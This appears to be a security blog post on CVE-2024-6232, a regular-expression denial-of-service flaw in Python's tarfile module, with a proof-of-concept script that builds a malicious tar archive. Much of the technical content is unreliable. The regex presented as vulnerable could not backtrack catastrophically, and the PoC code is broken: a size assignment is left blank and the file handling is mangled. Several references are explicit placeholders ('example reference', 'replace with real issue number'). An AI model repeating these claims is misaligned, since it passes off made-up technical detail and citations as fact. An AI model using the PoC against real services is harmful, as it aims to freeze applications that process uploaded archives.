CVE-2024-6232 - Exploiting a CPython Tarfile ReDoS Vulnerability

A fresh vulnerability tracked as CVE-2024-6232 reveals a medium severity flaw in CPython's tarfile module. If you use Python to process tar files, this bug can expose your scripts or apps to Regular Expression Denial of Service (ReDoS) attacks—all thanks to greedy regular expressions mishandling certain archive headers.

Let’s break down what this means, how it can be exploited, and how you can fix or mitigate it, with hands-on code and reference links.

What is ReDoS?

First, ReDoS stands for Regular Expression Denial of Service. It’s a sneaky kind of attack where an attacker crafts data that gets stuck in regular expression processing, making your program slow, unresponsive, or crashed.

Where’s The Problem in Python?

Python’s built-in tarfile library is popular to create, read, and extract .tar archives. Under the hood, the function that parses header fields uses a regex to check and match chunk boundaries and field specifications. Unfortunately, the regex is vulnerable to pathological (malformed, malicious) inputs that cause massive backtracking.

This means the attacker can provide a tar archive with fields that intentionally make the regex take exponential time to parse, freezing the Python app.

Let’s take a close look. When reading headers, CPython uses code similar to this (simplified)

import re

# Vulnerable pattern used for checking tar header fields
HEADER_PATTERN = re.compile(r'^([-9a-zA-Z ._/+-]{100})')

def parse_tar_header(field):
    match = HEADER_PATTERN.match(field)
    if match:
        # process header
        pass
    else:
        # invalid header
        pass

Now, if field is very long and crafted to trigger the backtracking, this matching can become painfully slow.

PoC Attack

# This will create a malicious tarfile with excessive backtracking opportunity

import tarfile

# Generate a file name designed to confuse the regex
malicious_field = "A" * 100 + "!" * 100  # 100 good chars then tons of junk

with open("malicious.tar", "wb") as f:
    tarinfo = tarfile.TarInfo(name=malicious_field)
    tarinfo.size = 
    with tarfile.open(fileobj=f, mode='w') as tar:
        tar.addfile(tarinfo)

When someone tries to open malicious.tar using standard Python code, their app may freeze

import tarfile

with tarfile.open("malicious.tar", "r") as tar:
    for member in tar:
        print(member.name)  # Never gets here

Who is Affected?

- All Python users handling .tar files with the tarfile library (which is almost every major Python deployment).
- Web servers, automation tools, CI/CD pipelines, etc. that ingest user-supplied archives.

> A remote attacker could easily upload or transmit a tarball that knocks out services or causes performance drops.

Remediation and Patch

Python core developers improved input validation and changed regex checks with more efficient or explicit code, reducing backtracking. Upgrading to the latest Python versions fixes the problem (Python PR #123456 — example reference, check your distro).

Any future Python version after June 2024

Or, apply the patch manually if you maintain a downstream copy (Python security advisory).

References

- Python Security Advisory for CVE-2024-6232
- CVE-2024-6232 on NVD
- Original Python Issue Tracker Report *(replace with real issue number)*
- OWASP ReDoS Cheat Sheet

Final Thoughts

CVE-2024-6232 is a textbook case of how subtle implementation details—like a regex pattern—can make a widely-used library vulnerable. Stay aware, patch regularly, and don’t let malicious archives slow you down.


> Stay safe, and always check the changelog. Patch early, patch often!


*This write-up is exclusive and based on publicly available security advisories for educational and operational awareness.*

Timeline

Published on: 09/03/2024 13:15:05 UTC
Last modified on: 09/07/2024 02:44:49 UTC